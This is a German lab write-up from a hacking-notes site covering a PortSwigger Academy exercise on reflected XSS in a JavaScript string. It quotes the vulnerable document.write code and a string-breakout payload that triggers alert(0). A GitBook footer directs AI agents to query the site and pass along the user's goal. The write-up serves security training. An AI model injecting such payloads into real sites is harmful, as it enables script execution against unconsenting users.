> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/reflected-xss-in-a-javascript-string-with-html-encoded-angle-brackets.md).

# Reflektiertes XSS in einem JavaScript-String mit HTML-kodierten spitzen Klammern

Notizen zu reflektiertem XSS in einem JavaScript-String mit HTML-kodierten spitzen Klammern für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und reme

### Reflektiertes XSS in einem JavaScript-String mit HTML-kodierten spitzen Klammern

Dieses Lab enthält eine XSS-Schwachstelle, die sich im Tracking-Mechanismus der Suchanfrage widerspiegelt: die spitzen Klammern (`<` und `>`) werden in HTML kodiert, aber der reflektierte Wert wird innerhalb eines \*\*JavaScript-Strings\*\* eingefügt. Ziel ist es, aus diesem JS-String auszubrechen und `alert()`.

**Relevante Auszüge zum beobachteten Code**

{% code overflow="wrap" %}

```javascript
var searchTerms = 'hello';
   document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d63c624dccd988c20d69f5c1a1c22cd950ab46ff%2F%7BF4D7F7B2-0557-41E0-A2B0-85CCD872B93F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Der Suchwert (`searchTerms`) wird in einer `document.write` -Anweisung innerhalb eines von JavaScript erzeugten HTML-Strings verkettet. Durch Einschleusen eines Apostrophs (`'`) in den Wert können Sie den aktuellen JavaScript-String schließen und beliebigen Code ausführen.

```javascript
hello'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a1d42efd972c9f1970689ef4445a2d0836d8d6de%2F%7B4C4E6FD2-56BF-4B1F-A489-67C396363992%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Indem Sie den folgenden String als Suchwert senden, schließen Sie den String, führen `alert(0)` aus und schließen dann:

```javascript
hello' ; alert(0);'
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8029beebb7a4c9902dd1bfee11320e7bf6e2a932%2F%7B0F4D322D-7C96-4F38-AC0A-BDA64E513A17%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/reflected-xss-in-a-javascript-string-with-html-encoded-angle-brackets.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
